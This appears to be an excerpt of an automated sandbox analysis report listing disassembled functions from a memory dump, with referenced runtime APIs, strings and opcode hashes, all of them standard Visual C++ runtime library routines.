Opcode Fuzzy Hash: 80b4899318523cd7b037fb89a810a23ec96dbb29f76f0b4b972ea18a2999b220
Instruction Fuzzy Hash: D421812921A3809EC325CF64D84158E77F0FF99344F80682EE48587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FB8F Relevance: 12.6, Strings: 10, Instructions: 57COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: a01bb029b56cd967118ba62567472a8c4442ccc49f0056a9c4fd7cd924a50033
Instruction ID: ac5260b2bb2d0f387faafe9fe4114eea39c454cf6af82f33aa65b15d43bfe186
Opcode Fuzzy Hash: a01bb029b56cd967118ba62567472a8c4442ccc49f0056a9c4fd7cd924a50033
Instruction Fuzzy Hash: 1721416921A380DEC325CF64D84558F77F0FF99344F80682EE48987622DBB5948ACB1F

Uniqueness

Uniqueness Score: -1.00%

Function 00A39E01 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A39F20
___TypeMatch.LIBVCRUNTIME ref: 00A3A02E
_UnwindNestedFrames.LIBCMT ref: 00A3A180
CallUnexpected.LIBVCRUNTIME ref: 00A3A19B

Strings

csm, xrefs: 00A39F57
csm, xrefs: 00A39E3E
csm, xrefs: 00A39EAB

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 7d37d3c4ffd220443c7222bbea63b661a3f1548b3ea3311a7a9fc63002989ae1
Instruction ID: ea08ad5cb36c5def063f0153c60388d9254f8851d7c52aebf13166c6097b3376
Opcode Fuzzy Hash: 7d37d3c4ffd220443c7222bbea63b661a3f1548b3ea3311a7a9fc63002989ae1
Instruction Fuzzy Hash: 82B17931800229EFCF28DFA4DA819AFBBB5FF24310F14815AF8456B212D771DA51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A38F00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A38F37
___except_validate_context_record.LIBVCRUNTIME ref: 00A38F3F
_ValidateLocalCookies.LIBCMT ref: 00A38FC8
__IsNonwritableInCurrentImage.LIBCMT ref: 00A38FF3
_ValidateLocalCookies.LIBCMT ref: 00A39048

Strings

csm, xrefs: 00A38FDD

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 32780eb9e33b20fd96d1563064fbca83b487cc5fe015308da3fe73b12e02aeb3
Instruction ID: 362ee8c2dba10fac0753381d959c4670227f53ac1811a21a8c25392b4973ea6c
Opcode Fuzzy Hash: 32780eb9e33b20fd96d1563064fbca83b487cc5fe015308da3fe73b12e02aeb3
Instruction Fuzzy Hash: 7441B534A003189FCF10DF68C881A9FBBB5AF45324F148169F9159B392DB75DA15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A01D33 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800), ref: 00A01DF4

Strings

ext-ms-, xrefs: 00A01D9E
api-ms-, xrefs: 00A01D8A

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 774cbc05f133090d3686b7721fcf1197fde679ca199b66b24dc6c6ee2f547067
Instruction ID: 2c48c7d0a64845e580c1ba3bbb27fc7760a960b6d5342d0a46bc1e56d85b1eeb
Opcode Fuzzy Hash: 774cbc05f133090d3686b7721fcf1197fde679ca199b66b24dc6c6ee2f547067
Instruction Fuzzy Hash: 5421A235A01219ABD721DBA5BC80BDA37B8EF41760B290524E916E72D1DB70EE41C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 009F93F2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 188COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00A69C02,00000104), ref: 009F944F

Strings

Runtime Error!Program: , xrefs: 009F941B
<program name unknown>, xrefs: 009F945E
Microsoft Visual C++ Runtime Library, xrefs: 009F94E4
..., xrefs: 009F949D

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: d740077bfb11eff3eaf08fd80f1a519974ba9186bef204e97cc6001fe9ccbbec
Instruction ID: f16e5615c907f4df6053f8ed60dd52d6092d0e470704970065046a16997b966e
Opcode Fuzzy Hash: d740077bfb11eff3eaf08fd80f1a519974ba9186bef204e97cc6001fe9ccbbec
Instruction Fuzzy Hash: 9631F93290021E77CB21AB55BC46FAB3B6D9BA1754F044439FF1896162E771C952C3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A4AF14 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4AFD0

Part of subcall function 00A55C63: _strlen.LIBCMT ref: 00A55C77

_strlen.LIBCMT ref: 00A4B00C
_strlen.LIBCMT ref: 00A4B04B

Strings

|bB, xrefs: 00A4AFCA
(`B, xrefs: 00A4B052

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (`B$|bB
API String ID: 4218353326-4133170226
Opcode ID: a729f1da289c89dcedc187abad8c2725058a3b94328b2e156cf91f3c0c8a2dfd
Instruction ID: c4703a79c9c2a0066384d09db393989a6da84ddc11c6147b74bc60557dbe74e3
Opcode Fuzzy Hash: a729f1da289c89dcedc187abad8c2725058a3b94328b2e156cf91f3c0c8a2dfd
Instruction Fuzzy Hash: 8741DA32508700AFD318BB24ED46A2FB7E5EFC4721F20492EF485951E2EF75ED498616

Uniqueness

Uniqueness Score: -1.00%

Function 009FB00F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,8D5B1A95,?,?,00000000,00A27E9F,000000FF,?,009FAF72,?,?,009FAF21,?), ref: 009FB044
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009FB056
FreeLibrary.KERNEL32(00000000,?,?,00000000,00A27E9F,000000FF,?,009FAF72,?,?,009FAF21,?), ref: 009FB078

Strings

CorExitProcess, xrefs: 009FB04E
mscoree.dll, xrefs: 009FB03D

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cfa5fe7ce7ea2ea068e48f54bc7927d35b9ae47c8a1e8b09a87048353d6976a4
Instruction ID: 2789cb73255aff8aea2e9d26a18f92cc48f325b36bc4f381379057ddb67d1dd9
Opcode Fuzzy Hash: cfa5fe7ce7ea2ea068e48f54bc7927d35b9ae47c8a1e8b09a87048353d6976a4
Instruction Fuzzy Hash: 77018F3291462DFFCB118F94DC05BAFBBBDFB04B14F050525E921A22E0DBB49900CA60

Uniqueness

Uniqueness Score: -1.00%

Function 00A01F66 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00A01F02), ref: 00A01F75
GetLastError.KERNEL32(?,00A01F02), ref: 00A01F7F
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00A01FBD

Strings

ext-ms-, xrefs: 00A01FA2
api-ms-, xrefs: 00A01F8C

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-$ext-ms-
API String ID: 3177248105-537541572
Opcode ID: 9cbf6035eb2a45b7394eb7c11503c9c000dfb787b331cef65b2647e173924eb1
Instruction ID: 3ecd34864ee69f56d01d1ea71a480d446090cc6849960a0b81edcd9f338bb6ab
Opcode Fuzzy Hash: 9cbf6035eb2a45b7394eb7c11503c9c000dfb787b331cef65b2647e173924eb1
Instruction Fuzzy Hash: 4AF01230744309B7EB102B61ED06F593EA59F40B50F154025F90CE84E1E7A1E996A555

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A9A1 Relevance: 7.8, APIs: 5, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d018c49ca9c49fddd8423b2026ee489455f41ae7281b15c38be5a16e5de360
Instruction ID: 0a715902c9fb38f93886516fcb006d9fb800b8de76cb64cba3f970731d75d571
Opcode Fuzzy Hash: 05d018c49ca9c49fddd8423b2026ee489455f41ae7281b15c38be5a16e5de360
Instruction Fuzzy Hash: FEB1F874E052499FDB11DFD9C880BEDBBB5BFA9300F148159E405AB292C7709DC2CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A41114 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00A4119B
__alloca_probe_16.LIBCMT ref: 00A4125C
__freea.LIBCMT ref: 00A412C3
__freea.LIBCMT ref: 00A412D8
__freea.LIBCMT ref: 00A412E8

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: acd8108809f089dfa5cfbdb0c152dde97ec9e6bbdd4bc5fb64606e3298761bb4
Instruction ID: 79b76de022dae3f1022359234ca0888ffbfa0e663f536332afb51722b8bfeac5
Opcode Fuzzy Hash: acd8108809f089dfa5cfbdb0c152dde97ec9e6bbdd4bc5fb64606e3298761bb4
Instruction Fuzzy Hash: A251A17660025AAFEF219FA4DD81EFB36A9EB84354F150239FD08E6150E7B4CC908764

Uniqueness

Uniqueness Score: -1.00%

Function 00A50F02 Relevance: 7.6, Strings: 6, Instructions: 146COMMON

Download Yara Rule

Strings

62>6, xrefs: 00A50F33
,1;8, xrefs: 00A50F2C
@<.;, xrefs: 00A50F41
6IE6, xrefs: 00A50F91
?D:@, xrefs: 00A50F98
v`kk, xrefs: 00A50FBA

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: ,1;8$62>6$6IE6$?D:@$@<.;$v`kk
API String ID: 0-1962961600
Opcode ID: af18e85fce0a7ac20d7e2539ae18e054176860ced825e02438be026965345a6a
Instruction ID: 8f799b5224dcc7bbae156f37a2c200851c2222f87817c2ea915eda2c2b0ea939
Opcode Fuzzy Hash: af18e85fce0a7ac20d7e2539ae18e054176860ced825e02438be026965345a6a
Instruction Fuzzy Hash: 8451D770E092CD8EDF21CFA99A901EDBF70BB56300F94957EC4819B716DA30464BCB69

Uniqueness

Uniqueness Score: -1.00%

Function 009CC870 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009CC8A7
_ValidateLocalCookies.LIBCMT ref: 009CC938
_ValidateLocalCookies.LIBCMT ref: 009CC9B8

Strings

csm, xrefs: 009CC94D

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate
String ID: csm
API String ID: 2268201637-1018135373
Opcode ID: 9050f5fd533a0e044d89a146793b5a9cb0e1a795e17441a32d0063f000ca5b8d
Instruction ID: 33fd207cc9d3b09e746aa39f394ac5677f6351d299d361a5dcd3aa458f3f9110
Opcode Fuzzy Hash: 9050f5fd533a0e044d89a146793b5a9cb0e1a795e17441a32d0063f000ca5b8d
Instruction Fuzzy Hash: C341A374E00219ABCF10DF68C845FAEBFB4BF45324F148199E8196B392D7359A46CB93

Uniqueness

Uniqueness Score: -1.00%

Function 00A455C8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A45684

Part of subcall function 00A55C63: _strlen.LIBCMT ref: 00A55C77

_strlen.LIBCMT ref: 00A456C0
_strlen.LIBCMT ref: 00A456FF

Strings

(`B, xrefs: 00A45706

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (`B
API String ID: 4218353326-875595089
Opcode ID: 5c047e8121f097c5b6b9613aae5ce6b4be7a349e47f2e729749b369f2f3b83b4
Instruction ID: 510f75f9ce233bddd12fb64947710f2c30fb49f7a64a5eb0831a0fb6618d831b
Opcode Fuzzy Hash: 5c047e8121f097c5b6b9613aae5ce6b4be7a349e47f2e729749b369f2f3b83b4
Instruction Fuzzy Hash: 7E41F832608700AFD318BB34ED46A2FB7E5EFC4721F24492EF485950A2EF75ED458616

Uniqueness

Uniqueness Score: -1.00%

Function 00A4AD33 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4ADEF

Part of subcall function 00A55C63: _strlen.LIBCMT ref: 00A55C77

_strlen.LIBCMT ref: 00A4AE2B
_strlen.LIBCMT ref: 00A4AE6A

Strings

(`B, xrefs: 00A4AE71

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (`B
API String ID: 4218353326-875595089
Opcode ID: a04d06912af2cab947aa6479d5adcfdd77cf32d7d874856e0f88f573d14832e8
Instruction ID: aac0f07877cfbeaa13063891e5316032fda4f69020ea8a1f6811579996b44019
Opcode Fuzzy Hash: a04d06912af2cab947aa6479d5adcfdd77cf32d7d874856e0f88f573d14832e8
Instruction Fuzzy Hash: 06412A32648700AFD314AB24ED47A2FB7E5EFD4720F20492EF485950A2EF75EC498617

Uniqueness

Uniqueness Score: -1.00%

Function 009D687D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,009D668F), ref: 009D688A
GetLastError.KERNEL32(?,009D668F), ref: 009D6894
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 009D68BC

Strings

api-ms-, xrefs: 009D68A1

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 4a6ab404557341ce74519230b5ffbce89e5a1fb8ff70f062ba35d21ecec24f67
Instruction ID: 0cff50e73e6ba540c7896d3000660cb05c2a6161eb6f99fefaa6a4404bfce11e
Opcode Fuzzy Hash: 4a6ab404557341ce74519230b5ffbce89e5a1fb8ff70f062ba35d21ecec24f67
Instruction Fuzzy Hash: ACE04F306D0308BBEB102FA0EC06F693F79AF00B54F118031F90CE85E1E7B1A9D9A558

Uniqueness

Uniqueness Score: -1.00%

Function 00A1069F Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(8D5B1A95), ref: 00A10702
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A1095D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00A109A5
GetLastError.KERNEL32 ref: 00A10A48

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 14feba4c89c4a43f2f2c1a83b4864044d27c2457727197d7edf5c883b5147b6f
Instruction ID: 3d40c92920a3454c8eeeebfa081a00d01373921dac643ce0919d2056c81e35dc
Opcode Fuzzy Hash: 14feba4c89c4a43f2f2c1a83b4864044d27c2457727197d7edf5c883b5147b6f
Instruction Fuzzy Hash: A6D157B5D002589FCF15CFA8D880EEDBBB5FF49300F18416AE866E7251D770A982CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A4B396 Relevance: 6.3, Strings: 5, Instructions: 62COMMON

Download Yara Rule

Strings

(eB, xrefs: 00A4B39E
\eB, xrefs: 00A4B3BF
HeB, xrefs: 00A4B3B7
peB, xrefs: 00A4B3C7
8eB, xrefs: 00A4B3AD

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: (eB$8eB$HeB$\eB$peB
API String ID: 0-3259303970
Opcode ID: 30b781bbc31390440f863ccd4f31ea0ffd75f4b9decd794683650751fd57d9bb
Instruction ID: 4dffcdf3d0f5451e6e9b7cc4e160e647b76f4c721357a3125c7d0391c2adc114
Opcode Fuzzy Hash: 30b781bbc31390440f863ccd4f31ea0ffd75f4b9decd794683650751fd57d9bb
Instruction Fuzzy Hash: DF1150717043206783047FA9798142FB6D89ECD714F91092EF94552146DBBDC989476B

Uniqueness

Uniqueness Score: -1.00%

Function 00A39BAA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A39C71
___AdjustPointer.LIBCMT ref: 00A39C94
___AdjustPointer.LIBCMT ref: 00A39D30

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: acc0da11450383d4777ec28946b847f680d22c877aea8489b194dfa7dfd859c6
Instruction ID: ed563208fee40d8e3dad985cf8e8051317cbd4d8a25fb4a02e9896135dbf4aba
Opcode Fuzzy Hash: acc0da11450383d4777ec28946b847f680d22c877aea8489b194dfa7dfd859c6
Instruction Fuzzy Hash: 2651C072A04206AFEB298F55D981BBBB7E4FF04311F24452DF806572A1EBB1EC90D790

Uniqueness

Uniqueness Score: -1.00%

Function 00A39451 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A3946D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A39486

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: a73885b8d3815fc901a1a4802135d19d654ffd2aeec85901c5facc3ec25c9c46
Instruction ID: 1bcc58663623af1774abc01f552804f13badeac39acf00d39011878617d937b7
Opcode Fuzzy Hash: a73885b8d3815fc901a1a4802135d19d654ffd2aeec85901c5facc3ec25c9c46
Instruction Fuzzy Hash: C801F73771A3116EA7342BB47D8596B2798DB05775F20023EF914540F5EFD14C479548

Uniqueness

Uniqueness Score: -1.00%

Function 00A19DB0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 00A19DC6
GetLastError.KERNEL32(?,?,?,?), ref: 00A19DD3
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 00A19DF9
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 00A19E1F

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

